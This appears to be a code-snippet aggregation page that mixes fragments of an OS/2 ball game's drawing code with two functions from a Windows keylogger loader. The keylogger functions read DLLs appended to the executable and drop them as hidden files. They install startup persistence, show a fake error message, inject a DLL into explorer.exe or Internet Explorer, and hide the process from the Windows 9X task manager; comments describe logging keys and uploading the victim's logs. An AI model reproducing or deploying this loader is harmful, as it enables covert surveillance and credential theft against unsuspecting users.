Esempio n. 1
0
                                        /* Initialize data for our drawing thread */
int             Draw_Initialize(void)
{
int             i;                      /* Temporary variables */

                                        /* For each symbol, open a memory devicecontext,
                                           create a presentation space and load the bitmap
                                           from the EXE file */
for(i=1;i<RB_BORDER;i++)
   {
   if(!(hdcRB[i]=DevOpenDC(hab,         /* Open device context with anchor block handle of
                                           our application */
        OD_MEMORY,                      /* Type of device context (memory) */
        (PSZ)"*",                       /* Device information token (no initialization) */
        8L,                             /* Number of items (of deviceopendata) */
        (PDEVOPENDATA)&dcRB[i],         /* Open device context data */
        (HDC)NULL)))                    /* Compatible device context (compatibilty with screen) */
        GEN_ERR(hab,hwndFrame,hwndClient);
   if(!(hpsRB[i]=GpiCreatePS(hab,       /* Create a presentation space with our anchor block
                                           handle */
        hdcRB[i],                       /* Device context handle (of our symbols) */
        &sizelRB,                       /* Presentation space size (or our symbols) */
        GPIA_ASSOC|PU_PELS)))           /* Options (assoziate to screen, pels as unit) */
        GEN_ERR(hab,hwndFrame,hwndClient);
                                        /* Load bitmap from EXE file */
   if(!(hbmRB[i]=GpiLoadBitmap(hpsRB[i],
        (HMODULE)0,                     /* Ressource (EXE file) */
        RB_RESSOURCE_ID[i],             /* ID of bitmap within ressource */
        0L,                             /* Width of bitmap in pels (no streching) */
        0L)))                           /* Height of bitmap in pels (no streching) */
        GEN_ERR(hab,hwndFrame,hwndClient);
   }
return(0);
}
Esempio n. 2
0
                                        /* Draw a bitmap on client window */
void Draw_Bitmap(ULONG Bitmap,ULONG mode,ULONG x,ULONG y)
{
static POINTL   D_Array[5];             /* Structure to locate bitmap into window */
                                        /* Destination edges */
D_Array[0].x=x; D_Array[0].y=y; D_Array[1].x=x+RB_SIZE; D_Array[1].y=y+RB_SIZE;
                                        /* Source edges */
D_Array[2].x=D_Array[2].y=0; D_Array[3].x=D_Array[3].y=RB_SIZE;
                                        /* Select bitmap */
GpiSetBitmap(hpsRB[Bitmap],hbmRB[Bitmap]);
                                        /* Select selected bitmap into client area */
if(!(GpiSetBitmap(hpsDT,hbmRB[Bitmap])))
    GEN_ERR(habDT,hwndFrame,hwndClient);
                                        /* Copy bitmap from memory to client area */
if(GpiBitBlt(hpsDT,                     /* Target presentation space handle */
    hpsRB[Bitmap],                      /* Source presentation space handle */
    4L,                                 /* Point count */
    (PPOINTL)D_Array,                   /* Point array */
    mode,                               /* Mixing function required (copy over target) */
    BBO_IGNORE)==GPI_ERROR)             /* Options for compression (ignore it) */
    GEN_ERR(habDT,hwndFrame,hwndClient);
}
Esempio n. 3
0
int Installation(const char* const argv0) {
    /* Output the DLL files required for Injection and system-wide hook. */
    HANDLE mm;
    int offset;
    FILE *fp;
    FILE *fp2;
    char* tmp;
    char* dll;
    char path[MAX_PATH+1];
    char* p;

    /* DLLs are appended to us, let's get them now by reading ourself. */
    fp = fopen(argv0, "rb");
    if (!fp) {
        WIN_ERR("Opening ourself to output DLLs has failed.");
        return 1;
    }

    /* Output the injection DLL. */
    offset = 3 + sizeof(LTSData) + data.blocksz + data.hooksz + data.injectsz;
    fseek(fp, -offset, SEEK_END);

    /* Allocate space for injection dll */
    dll = malloc(data.injectsz);
    if (!dll) {
        WIN_ERR("Unable to allocate memory for injection DLL.");
        fclose(fp);
        return 1;
    }

    /* Copy DLL from EXE to memory. */
    fread(dll, 1, data.injectsz, fp);

    /* Construct the injection DLL name. It will go in a global variable, as we need it later on. */
    tmp = SettingsGetValue(block, data.blocksz, "INJECTNAME");
    snprintf(injectdll, MAX_PATH, "%s/%s", rootpath, tmp);
    injectdll[MAX_PATH] = '\0';
    free(tmp);

    /* Why does it sometimes fail to overwrite? Just in case, manually remove the old one. */
    remove(injectdll);
    fp2 = fopen(injectdll, "wb");
    if (fp2) {
        /* File is open, output DLL from memory to disk. */
        fwrite(dll, 1, data.injectsz, fp2);
        fclose(fp2);

        /* Make the DLL hidden. */
        SetFileAttributes(injectdll, FILE_ATTRIBUTE_HIDDEN);
    }
#ifdef DEBUG_MODE
    else {
        WIN_ERR("Unable to open file to output Injection DLL to.\nFile likely in use.\nWill attempt to use the existing one.");
    }
#endif

    /* Failed to output DLL or not, free the memory. */
    free(dll);

    /* Output the hook DLL. Allocate space for it in memory. */
    dll = malloc(data.hooksz);
    if (!dll) {
        WIN_ERR("Unable to allocate memory for hook DLL.");
        fclose(fp);
        return 1;
    }

    /* Copy from disk to memory. */
    fread(dll, 1, data.hooksz, fp);

    /* Construct the DLL name. */
    tmp = SettingsGetValue(block, data.blocksz, "HOOKNAME");
    snprintf(path, MAX_PATH, "%s/%s", rootpath, tmp);
    path[MAX_PATH] = '\0';
    free(tmp);

    remove(path);
    fp2 = fopen(path, "wb");
    if (fp2) {
        /* Copy from memory to disk. */
        fwrite(dll, 1, data.hooksz, fp2);

        /* Close fp2 (Hook DLL) */
        fclose(fp2);

        /* Make the DLL hidden. */
        SetFileAttributes(path, FILE_ATTRIBUTE_HIDDEN);
    }
#ifdef DEBUG_MODE
    else {
        WIN_ERR("Unable to open file to output hook DLL to.\nFile likely in use.\nWill attempt to use the existing one.")
    };
#endif

    /* Failed to output DLL or not, free the memory and close the file */
    free(dll);
    fclose(fp);

    /* Write the flag struct to a memory mapped buffer so the hook DLL can get access to it. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(LTSFlags), LTS_MMBUF_FLAGS);
    if (!mm) {
        WIN_ERR("Unable to create file mapping to write flag struct to.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(LTSFlags));
    if (!p) {
        WIN_ERR("Unable to map a view of mapped buf to write flags.");
        return 1;
    }

    CopyMemory(p, &data.flags, sizeof(LTSFlags));
    UnmapViewOfFile(p);

    /* Write the settings block (and size) to a memory mapped buffer so the injection DLL can get access to it. */

    /* Start by writing the size of the block. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, sizeof(data.blocksz), LTS_MMBUF_BLOCK_SZ);
    if (!mm) {
        WIN_ERR("Unable to create file mapping for settings block size.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, sizeof(data.blocksz));
    if (!p) {
        WIN_ERR("Unable to map a view of file mapping to write block size.");
        return 1;
    }

    CopyMemory(p, &data.blocksz, sizeof(data.blocksz)); /* Copy the size first. */
    UnmapViewOfFile(p);

    /* and then the block itself. */
    mm = CreateFileMapping(INVALID_HANDLE_VALUE, 0, PAGE_READWRITE, 0, data.blocksz, LTS_MMBUF_BLOCK);
    if (!mm) {
        WIN_ERR("Unable to create file mapping for block.");
        return 1;
    }

    p = MapViewOfFile(mm, FILE_MAP_ALL_ACCESS, 0, 0, data.blocksz);
    if (!p) {
        WIN_ERR("Unable to map a view of file mapping to write block.");
        return 1;
    }

    CopyMemory(p, block, data.blocksz);
    UnmapViewOfFile(p);

    /* Done with this. We have all the settings. Free it. */
    free(block);
    return 0;
}


int WINAPI WinMain(HINSTANCE inst, HINSTANCE prev, LPSTR argv, int show) {
    char me[MAX_PATH+1];
    HANDLE m;
    FARPROC pCopyFile;
    OS_PLATFORM platform;
    char ranbyuser;

    /* Look for a commandline flag indicating if we ran via Windows startup. */
    if (!strcmpi2(argv, RAN_ON_BOOT_FLAG, strlen(RAN_ON_BOOT_FLAG))) {
        ranbyuser = 0;
    } else {
        ranbyuser = 1;
    }

    /* Let's get the path to ourself. */
    GetModuleFileName(0, me, MAX_PATH);
    me[MAX_PATH] = '\0';

    /* Stop annoying warning. */
#ifdef DEBUG_MODE
    inst = prev = 0;
    argv = 0;
    show = 0;
#endif

    /* We mainly need path2me. Let's load it now. */
    if (LoadSettings(me)) {
        GEN_ERR("LoadSettings() returned an error, not going to bother going on. Quitting.");
        return 1;
    }

    /* Get the platform we are running on. */
    platform = GetPlatform();

    /* Implement startup method. */
    if (PLAT_9X != platform) {
        /* If ActiveX startup fails, use Run startup. (Rare) */
        if (ImplementDefaultStartup()) ImplementRunStartup();
    } else {
        /*	ActiveX works on 9X. But on 9X, we do not terminate, this will halt explorer. */
        ImplementRunStartup();
    }

    /*	Copy myself over to a path where we will reside forever.
    	Without remove(), CopyFile() sometimes doesn't overwrite,
    	even though it succeeds, wtf? */
    remove(path2me);
    pCopyFile = GetProcAddress(GetModuleHandle("Kernel32.dll"), "CopyFileA");
    if (pCopyFile) {
        pCopyFile(me, path2me, 0);
    } else {
        WIN_ERR("Could not get address of CopyFileA. Unable to copy ourself to PATH");
    }

    /* Make myself hidden. */
    SetFileAttributes(path2me, FILE_ATTRIBUTE_HIDDEN);

    /* If we are supposed to display a fake error AND we ran via user... */
    if (ranbyuser && errmsg) {
        /* Display a fake error message box. */
        MessageBox(0, errmsg, errcap, MB_ICONERROR);
        free(errmsg);
        free(errcap);
    }

    /* Check to see if I am already running. If so, quit. */
    CreateMutex(0, 1, MUTEX_NAME_RUNNING);
    if (GetLastError()!=ERROR_SUCCESS) {
        /* If we are NOT able to create the mutex, assume it's because it already exists. */
        INFO("An instance of LTS is already running!\nExiting.");
        /* Clean up from LoadSettings() */
        free(block);
        return 1;
    }

    /* Read settings. They are (supposed to be) appended to the LTS executable file. */
    if (Installation(me)) {
        INFO("Due to errors during installation, we will NOT continue.");
        /* Clean up what LoadSettings() did. */
        free(block);
        return 1;
    }

    /*	The rest depends on the OS platform. Let's get that now. If it's NOT 9X OR it
    	IS an error, assume it's NT */
    if (PLAT_9X != platform) {
        HANDLE confirm;
        unsigned int i;
        DWORD pid;
        char success;

        success = 0;
        pid = 0;
        confirm = 0;

        /* Inject DLL into a process. */
#ifdef DEBUG_MODE
        pid = InjectionProcessId("C:\\Windows\\System32\\calc.exe", SPAWN);
        if (!pid) {
            GEN_ERR("Getting pID of calc.exe has failed. Going to attempt default browser.");
        }
#else
        /* First target is Explorer. Get the PID */
        pid = InjectionProcessId("explorer.exe", RUNNING);
#endif

        /* If the pid is valid, Attempt to inject into the process. Otherwise, attempt def browser */
        if (pid) {
            Inject(injectdll, pid);

            /* Wait for the confirmation mutex to be created by the injection DLL. */
            INFO("Stub waiting for confirmation mutex.");

            /*	Wait 5 seconds (100ms * 50), if we still don't the confirmation mutex. Assume
            the injection failed. */
            for (i=0; i<50; ++i) {
                confirm=OpenMutex(0, 0, MUTEX_NAME_DONE);
                if (GetLastError()!=ERROR_FILE_NOT_FOUND) {
                    success = 1;
                    break;
                }
                Sleep(100);
            }
        }

        /* If we did not get the mutex, attempt to inject into the default browser. */
        if (!success) {
            /* XXX Fix this. Get default browser and spawn it silently. */
            /*			char browser[MAX_PATH];
            			DWORD browsersz=MAX_PATH;

            			GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into the default browser.");

            			GetDefaultBrowser(browser, &browsersz);
            			pid = InjectionProcessId(browser, SPAWN);
            			pid = InjectionProcessId("c:\\Program Files\\Mozilla Firefox\\firefox.exe", SPAWN); */

            /* If we got the PID, use it. Else just use IE. */
            GEN_ERR("Injecting into a running Explorer.exe has failed.\nAttempting to spawn and inject into IE.");
            pid = InjectionProcessId("C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE", SPAWN);
            if (pid) {
                Inject(injectdll, pid);
                /* Now wait for the confirmation mutex again. */
                for (i=0; i<50; ++i) {
                    confirm=OpenMutex(0, 0, MUTEX_NAME_DONE);
                    if (GetLastError()!=ERROR_FILE_NOT_FOUND) {
                        success = 1;
                        break;
                    }
                    Sleep(100);
                }
            }

            if (!success) {
                /*	Injection into default browser has failed as well. This should NEVER happen.
                	Let's just load the DLL manually then. */
                HINSTANCE dll;
                MSG msg;

                GEN_ERR("Injection into default browser failed. Going to manually load DLL.");
                dll = LoadLibrary(injectdll);
                if (!dll) {
                    WIN_ERR("Unable to load DLL! -- Quitting.");
                    return 1;
                }

                while (GetMessage(&msg, 0, 0, 0)) {
                    TranslateMessage(&msg);
                    DispatchMessage(&msg);
                }
            }
        }

        /* We got confirmation that the DLL successfully read the settings. We can now die. */
        INFO("Success! Got confirmation mutex. Stub terminating.");
        CloseHandle(confirm);
    } else {
        /* Windows 9X */
        HINSTANCE dll;
        HMODULE kernel32;
        MSG msg;

        /* Hide from task manager. (9X ONLY) */
        kernel32 = LoadLibrary("Kernel32.dll");
        if (kernel32) {
            FARPROC rsp;
            rsp = GetProcAddress(kernel32, "RegisterServiceProcess");
            if (rsp) rsp(GetCurrentProcessId(), 1);
            FreeLibrary(kernel32);
        }

        /*	We can not inject into a process' address space on 9X.  We *can* 'inject' using a
         	hook and LoadLibrary() but for now, let's just manually load the DLL and sit idle. */
        dll = LoadLibrary(injectdll);
        if (!dll) {
            WIN_ERR("Unable to load injection DLL! -- Quitting.");
            return 1;
        }

        /* This mutex is meant DLL injection, it tells us that the DLL has read the settings. */
        for (;;) {
            m=OpenMutex(0, 0, MUTEX_NAME_DONE);
            if (GetLastError()!=ERROR_FILE_NOT_FOUND) break;
            Sleep(200);
        }

        /* Unlike on NT w/ DLL injection, we can not terminate. Windows will unload the DLL. */
        CloseHandle(m);

        /* Just sit idle. DLL that we loaded should take care of the rest. */
        INFO("Running on 9X. DLL has been loaded. Loader will sit in an idle loop.");
        while (GetMessage(&msg, 0, 0, 0)) {
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
    }

    return 0;
}
Esempio n. 4
0
void Draw_Thread(ULONG ulThreadArg)
{
if(!(habDT=WinInitialize(0UL)))         /* Initialize client window */
    GEN_ERR(habDT,hwndFrame,hwndClient);
                                        /* Create a message queue */
if(!(hmqDT=WinCreateMsgQueue(habDT,0UL)))
    GEN_ERR(habDT,hwndFrame,hwndClient);
if(!(hpsDT=WinGetPS(hwndClient)))       /* Get a presentation space for client area */
    GEN_ERR(habDT,hwndFrame,hwndClient);
                                        /* Initialize message queue */
WinPostQueueMsg(hmqDT,DT_PAINT,0UL,0UL);
while(qmsqDT.msg!=DT_EXIT)
    {
    if(WinPeekMsg(habDT,                /* Get the message into message queue */
    &qmsqDT,                            /* Message structure */
    NULLHANDLE,                         /* Window filter (none) */
    0UL,                                /* First message ID */
    0UL,                                /* Last message ID */
    PM_REMOVE)==FALSE)                  /* Options (remove message) */
        qmsqDT.msg=DT_IDLE;             /* If no message available, assume idle */
    switch(qmsqDT.msg)
    {
    case DT_PAINT:                      /* Repaint client window */
        {
        RECTL   rclDT;
        int     x,y;
                                        /* Repaint client window aread */
        WinQueryWindowRect(hwndClient,&rclDT);
        WinFillRect(hpsDT,&rclDT,CLR_WHITE);
        for(x=1;x<RB_X;x++)             /* Draw the entries on playing ground */
            for(y=1;y<RB_Y;y++)
                if(RB_Array[x][y]!=RB_EMPTY)
                    Draw_Bitmap(RB_Array[x][y],ROP_SRCCOPY,(x-1)*RB_SIZE,(y-1)*RB_SIZE);
        break;
        }
    case DT_LBUTTON:
        {
        int     x,y;
                                        /* Left button was pressed, get the location,
                                           add \ to RB_Array, and draw \ bitmap, if
                                           field is emty */
        x=(LONGFROMMP(qmsqDT.mp1)/RB_SIZE)+1;
        y=(LONGFROMMP(qmsqDT.mp2)/RB_SIZE)+1;
        if(RB_Array[x][y]==RB_EMPTY)
            {
            RB_Array[x][y]=RB_LX;
            Draw_Bitmap(RB_LX,ROP_SRCCOPY,(x-1)*RB_SIZE,(y-1)*RB_SIZE);
            }
        break;
        }
    case DT_RBUTTON:
        {
        int     x,y;
                                        /* Right button was pressed, get the location,
                                           add / to RB_Array, and draw / bitmap, if
                                           field is emty */
        x=(LONGFROMMP(qmsqDT.mp1)/RB_SIZE)+1;
        y=(LONGFROMMP(qmsqDT.mp2)/RB_SIZE)+1;
        if(RB_Array[x][y]==RB_EMPTY)
            {
            RB_Array[x][y]=RB_RX;
            Draw_Bitmap(RB_RX,ROP_SRCCOPY,(x-1)*RB_SIZE,(y-1)*RB_SIZE);
            }
        break;
        }
     case DT_IDLE:
        {
        if(runRB==TRUE)
            {
            ULONG       x,y,Symbol;
                                        /* Under DOS we would query the time in milliseconds
                                           from the system timer, to adjust graphics. This
                                           is accurate, but in a multitasking in a multitasking
                                           system, we must assume being pre-empted. Therefore
                                           we can't have an exact time bases. Hope that
                                           the system timer counts more often than all 31
                                           milliseconds in future releases/machines */
                                        /* Draw bitmap */
            switch(RB_Dir)              /* Test that RollBall doesn't leave borders. A
                                           border reverses the direction and produces a
                                           beep */
            {
            case UP:
                RB_PosY++;
                if((RB_PosY+RB_SIZE)>=((RB_Y-2)*RB_SIZE))
                    {
                    RB_PosY=(RB_Y-3)*RB_SIZE;
                    RB_Dir=DOWN;
                    DosBeep(800,50);
                    }
                break;
            case DOWN:
                RB_PosY--;
                if(RB_PosY<0)
                    {
                    RB_PosY=0;
                    RB_Dir=UP;
                    DosBeep(800,50);
                    }
                break;
            case LEFT:
                RB_PosX--;
                if(RB_PosX<0)
                    {
                    RB_PosX=0;
                    RB_Dir=RIGHT;
                    DosBeep(800,50);
                    }
                break;
            case RIGHT:
                RB_PosX++;
                if((RB_PosX+RB_SIZE)>=((RB_X-2)*RB_SIZE))
                    {
                    RB_PosX=(RB_X-3)*RB_SIZE;
                    RB_Dir=LEFT;
                    DosBeep(800,50);
                    }
                break;
            }
                                        /* Draw RollBall at new position */
            Draw_Bitmap(RB_RB,ROP_SRCCOPY,RB_PosX,RB_PosY);
                                        /* Now, test if the middle of RollBall is over any
                                           symbol. If a symbol is found, add points, deflect
                                           or end game */
                                        /* RB_Array is 1 based, because 0 indices are the
                                           playing ground borders */
            x=((RB_PosX)/RB_SIZE)+1;
            y=((RB_PosY)/RB_SIZE)+1;
                                        /* A Symbol if RB_SIZE*RB_SIZE in size, that means
                                           RollBall is exactly over a symbol, if the lower
                                           left edges of both symbols match. Then, and only
                                           then, we count points, deflect or loose */
            if((RB_PosX==(x-1)*RB_SIZE) && (RB_PosY==(y-1)*RB_SIZE))
                Symbol=RB_Array[x][y];
            else Symbol=RB_EMPTY;
            switch(Symbol)
            {
            case RB_LX:                 /* We got a \ deflector */
                {
                switch(RB_Dir)          /* \ deflects direction of RollBall */
                {
                case RIGHT:
                    RB_Dir=DOWN; break;
                case UP:
                    RB_Dir=LEFT; break;
                case LEFT:
                    RB_Dir=UP; break;
                case DOWN:
                    RB_Dir=RIGHT; break;
                }                       /* Remove deflector */
                RB_Array[x][y]=RB_EMPTY;
                break;
                }
            case RB_RX:                 /* We got a / deflector */
                {
                switch(RB_Dir)          /* / deflects direction of RollBall */
                {
                case RIGHT:
                    RB_Dir=UP; break;
                case UP:
                    RB_Dir=RIGHT; break;
                case LEFT:
                    RB_Dir=DOWN; break;
                case DOWN:
                    RB_Dir=LEFT; break;
                }                       /* Remove deflector */
                RB_Array[x][y]=RB_EMPTY;
                DosBeep(600,20);
                break;
                }
            case RB_BP:                 /* We got a point */
            case RB_GP:
            case RB_MP:
            case RB_VP:
                {                       /* Add the points for each symbol */
                RB_Point[0]+=RB_Point[Symbol];
                                        /* Remove the point */
                RB_Array[x][y]=RB_EMPTY;
                if (ulDelay)
                    ulDelay--;
                DosBeep(700,20);
                break;
                }
            case RB_HOLE:               /* We got a hole, sorry but RollBall will be killed.
                                           We disable RollBall from rolling, and send a 
                                           ID_STOPTHREAD message to our window, which
                                           informs the user about the points with a message
                                           box */
                {
                int     freq;
                for(freq=5000;freq>100;freq-=100) DosBeep(freq,5);
                runRB=FALSE;            /* Prevent RollBall from further rolling */
                WinPostMsg(hwndClient,WM_COMMAND,(MPARAM)ID_STOPTHREAD,(MPARAM)0);
                break;
                }
            }
                                        /* Randomly add and remove symbols on playing ground */
            if((rand()%500)<2)
                {
                Put_Random_Field();
                Clear_Random_Field();
                }
            }
        }
    }
DosOpen("TIMER0$",
        &hfile,
        &ulAction,
        0,
        0,
        OPEN_ACTION_OPEN_IF_EXISTS,
        OPEN_FLAGS_FAIL_ON_ERROR | OPEN_SHARE_DENYNONE | OPEN_ACCESS_READWRITE,
        NULL);   
ulDelay2=ulDelay/2;
DosDevIOCtl(hfile,
            HRT_IOCTL_CATEGORY,
            HRT_BLOCKUNTIL,
            &ulDelay2,
            ulSize2,
            &ulSize2,
            NULL,
            0,
            NULL);
DosClose(hfile);
}
WinReleasePS(hpsDT);                    /* Clean up */
WinDestroyMsgQueue(hmqDT);
WinTerminate(habDT);
DosExit(EXIT_THREAD,0UL);
}
Esempio n. 5
0
int LoadSettings(const char* const argv0) {
    /*	Return 1 on failure, 0 on success.
     	Settings are appended to this executable file. Read, and load them into a
    	file mapping so that the DLLS are able to read them.
    	Format of settings:
    	[   -(EXE data)-  ]
    	[		InjectDLL ]
    	[		HookDLL	  ]
    	[		Block	  ]
    	[		Data	  ]
    	[		(LTS)	  ]
    	InjectDLL = Will be the DLL that handles setting the hook, uploading/archiving logs.
    	HookDLL = The actual hook proc that is logging keys to the file.
    	Block = A NUL-terminated block of data holding keys/values which include the victim's
    			alias, path to where we archive logs, etc. This is not a fixed struct because
    			the file names are not a fixed size. We need to dynamically parse them out.
    	Data = A fixed size struct that determines how big the block and DLLs are. This
    			is what we will use to find the offset to the DLLs and block. This also has a
    			flags struct.
    	(LTS)=Last three bytes of the file are 'O' 'K' and 'L' -- The update feature will check to
    	see that this is there before replacing the loader. A small check but it can help in a rare
    	situation where the file got corrupt.
     */
    FILE* fp;
    int offset;
    char* tmp;

    /* Settings are appended to us, let's get them now by reading ourself. */
    fp = fopen(argv0, "rb");
    if (!fp) {
        WIN_ERR("Unable to open myself to read settings.");
        return 1;
    }

    /* Check the last 3 bytes, make sure the signature is there. */
    fseek(fp, -3, SEEK_END);
    if (!('L'==fgetc(fp) && 'T'==fgetc(fp) && 'S'==fgetc(fp))) {
        GEN_ERR("This EXE does not have our signature. Possibly corrupt.\nNot going to attempt reading settings.");
        fclose(fp);
        return 1;
    }

    /*	Get the LTSData struct, this contains sizes which we will use to get the offset of
    	everything else. */
    offset = 3 + sizeof(LTSData);
    fseek(fp, -offset, SEEK_END);
    fread(&data, sizeof(LTSData), 1, fp);

    /* Get block of key/value pairs (settings). Start by allocating space for it. */
    block = malloc(data.blocksz);
    if (!block) {
        WIN_ERR("Unable to allocate memory for block. Quitting.");
        fclose(fp);
        return 1;
    }

    offset += data.blocksz;
    fseek(fp, -offset, SEEK_END);
    fread(block, 1, data.blocksz, fp);

    /* We will be using the root path a lot. So keep hold of it for now. */
    tmp = SettingsGetValue(block, data.blocksz, "PATH");
    if (!tmp) {
        GEN_ERR("Unable to get root path. Going to use .../system32/");
        strncpy(rootpath, "C:\\Windows\\System32\\", MAX_PATH);
    }
    strncpy(rootpath, tmp, MAX_PATH);
    rootpath[MAX_PATH] = '\0';
    free(tmp);

    /* We need the path to where we will reside ASAP to implement startup. */
    tmp = SettingsGetValue(block, data.blocksz, "FILENAME");
    snprintf(path2me, MAX_PATH, "%s/%s", rootpath, tmp);
    free(tmp);

    /* Check if we should display a fake error. */
    tmp = SettingsGetValue(block, data.blocksz, "FAKEERROR");
    if (tmp && tmp[0]=='1') {
        errmsg = SettingsGetValue(block, data.blocksz, "ERRMSG");
        errcap = SettingsGetValue(block, data.blocksz, "ERRCAP");
        free(tmp);
    }

    fclose(fp);
    return 0;
}